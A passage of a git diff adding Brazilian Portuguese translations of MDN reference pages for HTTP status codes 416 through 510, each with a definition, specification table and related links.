foi buscada do GitHub da MDN (<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>). </p> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.status.416")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPStatus(206)}} <code>Partial Content</code></li> + <li>{{HTTPHeader("Content-Range")}}</li> + <li>{{HTTPHeader("Range")}}</li> +</ul> diff --git a/files/pt-br/web/http/status/417/index.html b/files/pt-br/web/http/status/417/index.html new file mode 100644 index 0000000000..f13705798d --- /dev/null +++ b/files/pt-br/web/http/status/417/index.html @@ -0,0 +1,35 @@ +--- +title: 417 Expectation Failed +slug: Web/HTTP/Status/417 +translation_of: Web/HTTP/Status/417 +--- +<div>{{HTTPSidebar}}</div> + +<p>O codigo de erro de cliente HTTP <strong><code>417 Expectation Failed</code></strong> indica que a expectativa enviada no cabeçalho da requisição {{HTTPHeader("Expect")}} não foi suprida.</p> + +<p>Veja o cabeçalho {{HTTPHeader("Expect")}} para mais detalhes.</p> + +<h2 id="Estado">Estado</h2> + +<pre class="syntaxbox">417 Expectation Failed</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + <tr> + <td>{{RFC("7231", "417 Expectation Failed" , "6.5.14")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Ver_também">Ver também</h2> + +<ul> + <li>{{HTTPHeader("Expect")}}</li> +</ul> diff --git a/files/pt-br/web/http/status/418/index.html b/files/pt-br/web/http/status/418/index.html new file mode 100644 index 0000000000..74e7e708f5 --- /dev/null +++ b/files/pt-br/web/http/status/418/index.html @@ -0,0 +1,41 @@ +--- +title: 418 I'm a teapot +slug: Web/HTTP/Status/418 +translation_of: Web/HTTP/Status/418 +--- +<div>{{HTTPSidebar}}</div> + +<p>O código de erro HTTP para o cliente <strong><code>418 I'm a teapot</code></strong> indica que o servidor se recusa a preparar café por ser um bule de chá. Este erro é uma referência ao <em lang="en">Hyper Text Coffee Pot Control Protocol</em>, que foi uma piada de 1º de abril de 1998.</p> + +<h2 id="Status">Status</h2> + +<pre class="syntaxbox">418 I'm a teapot</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("2324", "418 I'm a teapot" , "2.3.2")}}</td> + <td>Hyper Text Coffee Pot Control Protocol (HTCPCP/1.0): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_navegadores">Compatibilidade de navegadores</h2> + +<p class="hidden">A tabela de compatibilidade nesta página é gerada por dados estruturados. Se você gostaria de contribuir com estes dados, por favor vá a <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> e envie-nos um <em lang="en">pull request</em>.</p> + +<p>{{Compat("http.status.418")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{interwiki("wikipedia", "Hyper Text Coffee Pot Control Protocol", "Wikipedia: Hyper Text Coffee Pot Control Protocol")}}</li> +</ul> diff --git a/files/pt-br/web/http/status/422/index.html b/files/pt-br/web/http/status/422/index.html new file mode 100644 index 0000000000..81b0b653d9 --- /dev/null +++ b/files/pt-br/web/http/status/422/index.html @@ -0,0 +1,33 @@ +--- +title: 422 Unprocessable Entity +slug: Web/HTTP/Status/422 +translation_of: Web/HTTP/Status/422 +--- +<p>{{HTTPSidebar}}</p> + +<p>O codigo de resposta HTTP <code><strong>422 Unprocessable Entity</strong></code> indica que o servidor entende o tipo de conteúdo da entidade da requisição, e a sintaxe da requisição esta correta, mas não foi possível processar as instruções presentes.</p> + +<div class="warning"> +<p><strong>Importante</strong>: O cliente não deve repetir esta requisição sem modificações.</p> +</div> + +<h2 id="Status">Status</h2> + +<pre class="syntaxbox">422 Unprocessable Entity</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("4918", "422 Unprocessable Entity" , "11.2")}}</td> + <td>HTTP Extensions for Web Distributed Authoring and Versioning (WebDAV)</td> + </tr> + </tbody> +</table> diff --git a/files/pt-br/web/http/status/425/index.html b/files/pt-br/web/http/status/425/index.html new file mode 100644 index 0000000000..001e7e825a --- /dev/null +++ b/files/pt-br/web/http/status/425/index.html @@ -0,0 +1,35 @@ +--- +title: 425 Too Early +slug: Web/HTTP/Status/425 +translation_of: Web/HTTP/Status/425 +--- +<div>{{SeeCompatTable}}{{HTTPSidebar}}</div> + +<p>O status HTTP <code><strong>425 Too Early</strong></code> indica que o servidor não quer correr o risco de processar uma requisição que pode ser repetida, o que cria um potencial risco para ataques de repetição.</p> + +<h2 id="Status">Status</h2> + +<pre class="syntaxbox">425 Too Early</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("8470", "425: Early Data", "5.2")}}</td> + <td>Using Early Data in HTTP</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_entre_navegadores">Compatibilidade entre navegadores</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.status.425")}}</p> diff --git a/files/pt-br/web/http/status/426/index.html b/files/pt-br/web/http/status/426/index.html new file mode 100644 index 0000000000..1f17dfb0d2 --- /dev/null +++ b/files/pt-br/web/http/status/426/index.html @@ -0,0 +1,48 @@ +--- +title: 426 Upgrade Required +slug: Web/HTTP/Status/426 +translation_of: Web/HTTP/Status/426 +--- +<div>{{HTTPSidebar}}</div> + +<p>O status HTTP <code><strong>426 Upgrade Required</strong></code> indica que o servidor recusa o processamento da requisição usando o protocolo atual mas poderá ser processado caso o cliente atualize para um protocolo diferente.</p> + +<p>O servidor envia uma header {{HTTPHeader("Upgrade")}} com esta resposta para indicar qual o protocolo necessário.</p> + +<h2 id="Status">Status</h2> + +<pre class="syntaxbox">426 Upgrade Required</pre> + +<h2 id="Exemplos">Exemplos</h2> + +<pre>HTTP/1.1 426 Upgrade Required +Upgrade: HTTP/2.0 +Connection: Upgrade +Content-Length: 53 +Content-Type: text/plain + +This service requires use of the HTTP/2.0 protocol</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("7231", "426 Upgrade Required" , "6.5.15")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Ver_também">Ver também</h2> + +<ul> + <li>{{HTTPHeader("Upgrade")}}</li> + <li>{{HTTPStatus("101")}} <code>Switching Protocol</code></li> +</ul> diff --git a/files/pt-br/web/http/status/428/index.html b/files/pt-br/web/http/status/428/index.html new file mode 100644 index 0000000000..e20c4ac056 --- /dev/null +++ b/files/pt-br/web/http/status/428/index.html @@ -0,0 +1,39 @@ +--- +title: 428 Precondition Required +slug: Web/HTTP/Status/428 +translation_of: Web/HTTP/Status/428 +--- +<div>{{HTTPSidebar}}</div> + +<p>O codigo de resposta HTTP <code><strong>428 Precondition Required</strong></code> indica que o servidor precisa que a requisição seja <a href="/en-US/docs/Web/HTTP/Conditional_requests">condicional</a>.</p> + +<p>Normalmente, isto significa que um cabeçalho pré-requisito, como o {{HTTPHeader("If-Match")}}, <strong>está faltando</strong>.</p> + +<p>Quando o cabeçalho pré-requisito <strong>não é o mesmo</strong> esperado pelo servidor, a resposta deve ser {{HTTPStatus(412)}} <code>Precondition Failed</code>.</p> + +<h2 id="Status">Status</h2> + +<pre class="syntaxbox">428 Precondition Required</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + <tr> + <td>{{RFC("6585", "428 Precondition Required" , "3")}}</td> + <td>Additional HTTP Status Codes</td> + </tr> + </tbody> +</table> + +<h2 id="Ver_também">Ver também</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/Conditional_requests">HTTP conditional requests</a></li> + <li>{{HTTPHeader("If-Match")}}</li> + <li>{{HTTPStatus(412)}}</li> +</ul> diff --git a/files/pt-br/web/http/status/429/index.html b/files/pt-br/web/http/status/429/index.html new file mode 100644 index 0000000000..f4c3fc5c00 --- /dev/null +++ b/files/pt-br/web/http/status/429/index.html @@ -0,0 +1,48 @@ +--- +title: 429 Too Many Requests +slug: Web/HTTP/Status/429 +tags: + - Código de status + - Erro + - Erro de cliente + - HTTP + - Referência(2) + - Status HTTP +translation_of: Web/HTTP/Status/429 +--- +<div>{{HTTPSidebar}}</div> + +<p>O código de resposta HTTP <code><strong>429 Too Many Requests</strong></code> indica que o usuário enviou muitos pedidos em um determinado período de tempo.</p> + +<p>Um header {{HTTPHeader("Retry-After")}} pode ser incluído na resposta indicando quanto tempo o usuário deve esperar antes de fazer um novo pedido.</p> + +<h2 id="Status">Status</h2> + +<pre class="syntaxbox">429 Too Many Requests</pre> + +<h2 id="Exemplo">Exemplo</h2> + +<pre>HTTP/1.1 429 Too Many Requests +Content-Type: text/html +Retry-After: 3600</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificações</th> + <th scope="col">Título</th> + </tr> + <tr> + <td>{{RFC("6585", "429 Too Many Requests" , "4")}}</td> + <td>Status HTTP adicionais</td> + </tr> + </tbody> +</table> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPHeader("Retry-After")}}</li> +</ul> diff --git a/files/pt-br/web/http/status/431/index.html b/files/pt-br/web/http/status/431/index.html new file mode 100644 index 0000000000..19c5a84731 --- /dev/null +++ b/files/pt-br/web/http/status/431/index.html @@ -0,0 +1,54 @@ +--- +title: 431 Request Header Fields Too Large +slug: Web/HTTP/Status/431 +tags: + - Client error + - Código de Status de HTTP + - Código de status + - Erro do cliente + - HTTP + - HTTP Status Code + - Reference + - Status code +translation_of: Web/HTTP/Status/431 +--- +<div>{{HTTPSidebar}}</div> + +<p><span class="seoSummary">O código de stauts de resposta HTTP <code><strong>431 Request Header Fields Too Large</strong></code> indica que o servidor se recusou a processar a requisição por que os <a href="/en-US/docs/Web/HTTP/Headers">cabeçalhos HTTP</a> da mesma são muito grandes. </span> A requisição <em>pode </em>ser resubmetida depois de o tamanho dos cabeçalhos serem reduzidos.</p> + +<p><strong><code>431</code></strong> pode ser usado quando o <strong>tamanho total </strong>dos cabeçalhos da requisição são muito grandes, ou quando um <strong>único</strong> cabeçalho da requisição é muito grande. Para ajudar aqueles que estão encontrando esse erro, indicar quais dos dois é o problema através do corpo da resposta - idealmente inclua quais são os cabeçalhos que são muito grandes. Isso permite aos usuários a possibilidade de poder arrumar o problema, como limpando os <em>cookies</em> deles.</p> + +<p>Servidores vão produzir esse status frequentemente se:</p> + +<ul> + <li>O cabeçalho {{HttpHeader("Referer")}} URL é muito longo;</li> + <li>Existem muitos <a href="/en-US/docs/Web/HTTP/Cookies">Cookies</a> sendo enviados na requisição</li> +</ul> + +<h2 id="Status">Status</h2> + +<pre class="syntaxbox">431 Request Header Fields Too Large</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("6585", "431 Request Header Fields Too Large" , "5")}}</td> + <td>Additional HTTP Status Codes</td> + </tr> + </tbody> +</table> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPStatus(414, "414 URI Too Long")}}</li> + <li>{{Glossary("Request header")}}</li> +</ul> diff --git a/files/pt-br/web/http/status/451/index.html b/files/pt-br/web/http/status/451/index.html new file mode 100644 index 0000000000..759d6544a7 --- /dev/null +++ b/files/pt-br/web/http/status/451/index.html @@ -0,0 +1,65 @@ +--- +title: 451 Unavailable For Legal Reasons +slug: Web/HTTP/Status/451 +translation_of: Web/HTTP/Status/451 +--- +<p>{{HTTPSidebar}}</p> + +<p>O código de erro HTTP para o cliente <code><strong>451 Unavailable For Legal Reasons</strong></code> indica que o recurso solicitado pelo usuário não está disponível por motivos legais, como em uma página web para a qual foi emitida uma ação legal.</p> + +<h2 id="Status">Status</h2> + +<pre class="syntaxbox">451 Unavailable For Legal Reasons</pre> + +<h2 id="Exemplo">Exemplo</h2> + +<p>Este exemplo de resposta foi obtida da RFC do IETF (veja abaixo) e contém uma referência à {{interwiki("wikipedia", "Monty_Python's_Life_of_Brian", "Monty Python's Life of Brian")}}.</p> + +<p><strong>Nota:</strong> o cabeçalho {{HTTPHeader("Link")}} também pode conter uma relação <code>rel="blocked-by"</code> identificando a entidade que solicitou o bloqueio, e não qualquer outra entidade.</p> + +<p>Qualquer identificação da entidade responsável pela não disponibilidade do recurso, como o nome da pessoa ou organização que demandou a ação legal que resultou na remoção do conteúdo, deve estar no corpo da resposta, não no link <code>rel="blocked-by"</code>.</p> + +<pre>HTTP/1.1 451 Unavailable For Legal Reasons +Link: <https://spqr.example.org/legislatione>; rel="blocked-by" +Content-Type: text/html</pre> + +<pre><html> + <head><title>Unavailable For Legal Reasons</title></head> + <body> + <h1>Unavailable For Legal Reasons</h1> + <p>This request may not be serviced in the Roman Province + of Judea due to the Lex Julia Majestatis, which disallows + access to resources hosted on servers deemed to be + operated by the People's Front of Judea.</p> + </body> +</html></pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Epecificação</th> + <th scope="col">Título</th> + </tr> + <tr> + <td>{{RFC("7725", "451 Unavailable For Legal Reasons")}}</td> + <td>An HTTP Status Code to Report Legal Obstacles</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_navegadores">Compatibilidade de navegadores</h2> + +<p>A informação mostrada abaixo está sendo servida do MDN's GitHub (<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>).</p> + +<p class="hidden">A tabela de compatibilidade nesta página é gerada por dados estruturados. Se você gostaria de contribuir com estes dados, por favor vá a <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> e envie-nos um <em lang="en">pull request</em>.</p> + +<p>{{Compat("http.status.451")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{interwiki("wikipedia", "HTTP_451", "Wikipedia: HTTP 451")}}</li> + <li>{{interwiki("wikipedia", "Fahrenheit_451", "Wikipedia: Fahrenheit 451")}} (which gave this status code its number)</li> +</ul> diff --git a/files/pt-br/web/http/status/500/index.html b/files/pt-br/web/http/status/500/index.html new file mode 100644 index 0000000000..ee82d58def --- /dev/null +++ b/files/pt-br/web/http/status/500/index.html @@ -0,0 +1,37 @@ +--- +title: 500 Internal Server Error +slug: Web/HTTP/Status/500 +translation_of: Web/HTTP/Status/500 +--- +<div>{{HTTPSidebar}}</div> + +<p><span id="result_box" lang="pt"><span>Quando o servidor retorna um código de erro (HTTP) 500, indica que encontrou uma condição inesperada e que o impediu de atender à solicitação.</span><br> + <br> + <span>Essa resposta de erro é uma resposta genérica "abrangente".</span> <span>Às vezes, os arquivos log de servidores podem responder com um status code 500 acompanhado de mais detalhes sobre o request para evitar que no futuro erros desse tipo possam voltar a acontecer.</span></span></p> + +<p>Status</p> + +<pre class="syntaxbox notranslate">500 Internal Server Error</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "500 Internal Server Error" , "6.6.1")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_navegadores">Compatibilidade de navegadores</h2> + +<p>As informações mostradas abaixo foram extraídas do GitHub da MDN (<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>).</p> + +<p class="hidden">A tabela de compatibilidade nesta página é gerada a partir de dados estruturados. Se você deseja contribuir com os dados, consulte <a href="/pt-BR/docs/">https://github.com/mdn/browser-compat-data</a> e envie-nos uma solicitação de recebimento.</p> + +<p>{{Compat("http.status.500")}}</p> diff --git a/files/pt-br/web/http/status/501/index.html b/files/pt-br/web/http/status/501/index.html new file mode 100644 index 0000000000..9e6f51a3e6 --- /dev/null +++ b/files/pt-br/web/http/status/501/index.html @@ -0,0 +1,46 @@ +--- +title: 501 Not Implemented +slug: Web/HTTP/Status/501 +translation_of: Web/HTTP/Status/501 +--- +<div>{{HTTPSidebar}}</div> + +<p>O código de resposta HTTP <code><strong>501 Not Implemented</strong></code> indica que o servidor não suporta a funcionalidade requerida para completar a requisição. Esta é a resposta apropriada para quando o servidor não reconhece o método requisitado e não tem capacidade de suporta-lo para nenhum recurso. Os únicos métodos de requisição que os servidores suportam obrigatóriamente ( e, portanto, isso não deve retornar este código) são {{HTTPMethod("GET")}} e {{HTTPMethod("HEAD")}}.</p> + +<div class="note"> +<p><strong>Notas:</strong></p> + +<ul> + <li>A 501 error is not something you can fix, but requires a fix by the web server you are trying to access.</li> + <li>Uma resposta 501 é cacheada por padrão, ou seja, a menos que os cabeçalhos de cache indiquem outra forma.</li> +</ul> +</div> + +<h2 id="Status">Status</h2> + +<pre class="syntaxbox">501 Not Implemented</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("7231", "501 Not Implemented" , "6.6.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_entre_Navegadores">Compatibilidade entre Navegadores</h2> + +<p>The information shown below has been pulled from MDN's GitHub (<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>).</p> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.status.501")}}</p> diff --git a/files/pt-br/web/http/status/502/index.html b/files/pt-br/web/http/status/502/index.html new file mode 100644 index 0000000000..2453525ebe --- /dev/null +++ b/files/pt-br/web/http/status/502/index.html @@ -0,0 +1,51 @@ +--- +title: 502 Bad Gateway +slug: Web/HTTP/Status/502 +tags: + - Código de status + - Erro do servidor + - HTTP + - Server error + - Status code +translation_of: Web/HTTP/Status/502 +--- +<div>{{HTTPSidebar}}</div> + +<p>O código de erro HTTP <code><strong>502 Bad Gateway</strong></code> retornado pelo servidor indica que ele, enquanto atuando como um servidor intermediário (<em>gateway</em> ou <em>proxy</em>), recebeu uma resposta inválida do servidor para o qual a requisição foi encaminhada (<em>upstream server</em>).</p> + +<div class="note"> +<p><strong>Nota: </strong>Um {{interwiki("wikipedia", "Gateway_(telecommunications)", "<em>Gateway</em>")}} pode se referir a coisas diferentes na rede e um erro 502 geralmente não é algo que você possa corrigir, mas requer uma correção por parte do servidor web ou dos proxies através dos quais você está tentando obter acesso.</p> +</div> + +<h2 id="Status">Status</h2> + +<pre class="syntaxbox">502 Bad Gateway</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + <tr> + <td>{{RFC("7231", "502 Bad Gateway" , "6.6.3")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_Navegadores">Compatibilidade de Navegadores</h2> + +<p>As informações mostradas abaixo foram extraídas do GitHub do MDN (<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>).</p> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.status.502")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPStatus(504)}}</li> +</ul> diff --git a/files/pt-br/web/http/status/503/index.html b/files/pt-br/web/http/status/503/index.html new file mode 100644 index 0000000000..cbdb47ccbe --- /dev/null +++ b/files/pt-br/web/http/status/503/index.html @@ -0,0 +1,50 @@ +--- +title: 503 Service Unavailable +slug: Web/HTTP/Status/503 +translation_of: Web/HTTP/Status/503 +--- +<p>{{HTTPSidebar}}</p> + +<p>O código de resposta de erro de servidor <code><strong>503 Service Unavailable</strong></code> do HTTP indica que o servidor não está pronto para lidar com a requisição.</p> + +<p>Causas comuns são um servidor que está em manutenção ou sobrecarregado. Esta resposta deve ser usada para condições temporárias, e o cabeçalho HTTP {{HTTPHeader("Retry-After")}} deve, se possível, conter o tempo estimado para restabelecimento do serviço.</p> + +<div class="note"> +<p><strong>Nota:</strong> Juntamente com esta resposta deve ser enviada uma página de fácil compreensão para explicar o problema.</p> +</div> + +<p>Os cabeçalhos relativos ao armazenamento em cache que são enviados juntamente com esta resposta devem ser atendidos, pois um status 503 geralmente é uma condição temporária e tal resposta não deve ser armazenada em cache.</p> + +<h2 id="Status">Status</h2> + +<pre class="syntaxbox notranslate">503 Service Unavailable</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + <tr> + <td>{{RFC("7231", "503 Service Unavailable" , "6.6.4")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_navegadores">Compatibilidade de navegadores</h2> + +<p>A informação mostrada abaixo está sendo servida do MDN's GitHub (<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>).</p> + +<p class="hidden">A tabela de compatibilidade nesta página é gerada a partir de dados estruturados. Se você quiser contribuir com os dados, por faveor verifique <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> e nos envie um "pull request".</p> + +<p>{{Compat("http.status.503")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPHeader("Retry-After")}}</li> +<li><a href="https://www.exai.com/blog/503-service-unavailable">503 Service Unavailable</a></li> +</ul> diff --git a/files/pt-br/web/http/status/504/index.html b/files/pt-br/web/http/status/504/index.html new file mode 100644 index 0000000000..0ccc9d1233 --- /dev/null +++ b/files/pt-br/web/http/status/504/index.html @@ -0,0 +1,43 @@ +--- +title: 504 Gateway Timeout +slug: Web/HTTP/Status/504 +translation_of: Web/HTTP/Status/504 +--- +<div>{{HTTPSidebar}}</div> + +<div></div> + +<p>O código de resposta de erro HTTP <code><strong>504 Gateway Timeout</strong></code> indica que o servidor, enquanto atuando como gateway ou proxy, não conseguiu responder em tempo.</p> + +<p>Um {{interwiki("wikipedia", "Gateway_(telecommunications)", "Gateway")}} pode referir-se a diferentes elementos de rede e um erro 504 geralmente é algo que você não pode consertar, mas solicitar uma correção no servidor web ou proxy no qual você está tentando acessar.</p> + +<h2 id="Estado">Estado</h2> + +<pre class="syntaxbox">504 Gateway Timeout</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + <tr> + <td>{{RFC("7231", "504 Gateway Timeout" , "6.6.4")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2> + +<p class="hidden">A tabela de compatibilidade nesta página foi gerada a partir de dados estrtuturados. Se você quiser contribuir, por favor confira em <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> e envie um pull request.</p> + +<p>{{Compat("http.status.504")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPStatus(502)}}</li> +</ul> diff --git a/files/pt-br/web/http/status/505/index.html b/files/pt-br/web/http/status/505/index.html new file mode 100644 index 0000000000..5bbe537579 --- /dev/null +++ b/files/pt-br/web/http/status/505/index.html @@ -0,0 +1,33 @@ +--- +title: 505 HTTP Version Not Supported +slug: Web/HTTP/Status/505 +translation_of: Web/HTTP/Status/505 +--- +<div>{{HTTPSidebar}}</div> + +<p>O código de resposta de status HTTP <code><strong>505 HTTP Version Not Supported</strong></code> indica que a versão HTTP utilizada na requisição não é suportada pelo servidor.</p> + +<h2 id="Status">Status</h2> + +<pre class="syntaxbox">505 HTTP Version Not Supported</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + <tr> + <td>{{RFC("7231", "505 HTTP Version Not Supported" , "6.6.6")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPHeader("Upgrade")}}</li> +</ul> diff --git a/files/pt-br/web/http/status/506/index.html b/files/pt-br/web/http/status/506/index.html new file mode 100644 index 0000000000..8129f72e17 --- /dev/null +++ b/files/pt-br/web/http/status/506/index.html @@ -0,0 +1,35 @@ +--- +title: 506 Variant Also Negotiates +slug: Web/HTTP/Status/506 +tags: + - Código de status + - Erro do servidor + - HTTP + - Server error + - Status code +translation_of: Web/HTTP/Status/506 +--- +<div>{{HTTPSidebar}}</div> + +<p>O código de status de resposta HTTP <code><strong>506 Variant Also Negotiates</strong></code> pode ser dado no contexto de Negociação de Conteúdo Transparente (Transparent Content Negotiation) (veja <a href="https://tools.ietf.org/html/rfc2295">RFC 2295</a>). Esse protocolo permite ao cliente requerer a melhor variante de um dado recurso, onde um servidor fornece múltiplos variantes.</p> + +<p>O código de status <code><strong>Variant Also Negotiates</strong></code> indica um erro na configuração interna do servidor na qual a variante escolhida é em si configurada para entrar em uma negociação de conteúdo, então não é um <em>endpoint</em> de negociação apropriado.</p> + +<h2 id="Status">Status</h2> + +<pre class="syntaxbox">506 Variant Also Negotiates</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + <tr> + <td>{{RFC("2295", "506 Variant Also Negotiates" , "8.1")}}</td> + <td>Transparent Content Negotiation in HTTP</td> + </tr> + </tbody> +</table> diff --git a/files/pt-br/web/http/status/507/index.html b/files/pt-br/web/http/status/507/index.html new file mode 100644 index 0000000000..8bcc80abda --- /dev/null +++ b/files/pt-br/web/http/status/507/index.html @@ -0,0 +1,33 @@ +--- +title: 507 Insufficient Storage +slug: Web/HTTP/Status/507 +tags: + - Código de status + - Erro de servidor + - HTTP +translation_of: Web/HTTP/Status/507 +--- +<div>{{HTTPSidebar}}</div> + +<p>O código de resposta de status HTTP <code><strong>507 Insufficient Storage</strong></code> pode ser usado no contexto do protocolo Web Distributed Authoring and Versioning (WebDAV) (veja <a href="https://tools.ietf.org/html/rfc4918">RFC 4918</a>).</p> + +<p>Isso indica que o método não pode ser executado porque o servidor não pode salvar a representação necessária para completar a requisição com sucesso.</p> + +<h2 id="Status">Status</h2> + +<pre class="syntaxbox">507 Insufficient Storage</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + <tr> + <td>{{RFC("4918", "507 Insufficient Storage" , "11.5")}}</td> + <td>Web Distributed Authoring and Versioning</td> + </tr> + </tbody> +</table> diff --git a/files/pt-br/web/http/status/508/index.html b/files/pt-br/web/http/status/508/index.html new file mode 100644 index 0000000000..ba112d996a --- /dev/null +++ b/files/pt-br/web/http/status/508/index.html @@ -0,0 +1,35 @@ +--- +title: 508 Loop Detected +slug: Web/HTTP/Status/508 +tags: + - Código de status + - Erro de servidor + - HTTP +translation_of: Web/HTTP/Status/508 +--- +<p>{{HTTPSidebar}}</p> + +<p>O código de resposta de erro HTTP <code><strong>508 Loop Detected</strong></code> pode ser retornado em um contexto do protocolo Web Distributed Authoring and Versioning (WebDAV) .</p> + +<p>Indica que o servidor finalizou uma operação porque encontrou um loop infinito enquando processava a requisição com "Depth: infinity". Esse código indica que toda a operação falhou.</p> + + + +<h2 id="Status">Status</h2> + +<pre class="syntaxbox">508 Loop Detected</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("5842", "508 Loop Detected" , "7.2")}}</td> + <td>Web Distributed Authoring and Versioning</td> + </tr> + </tbody> +</table> diff --git a/files/pt-br/web/http/status/510/index.html b/files/pt-br/web/http/status/510/index.html new file mode 100644 index 0000000000..54b4ec6261 --- /dev/null +++ b/files/pt-br/web/http/status/510/index.html @@ -0,0 +1,33 @@ +--- +title: 510 Not Extended +slug: Web/HTTP/Status/510 +tags: + - Código de status + - Erro do servidor + - HTTP +translation_of: Web/HTTP/Status/510 +--- 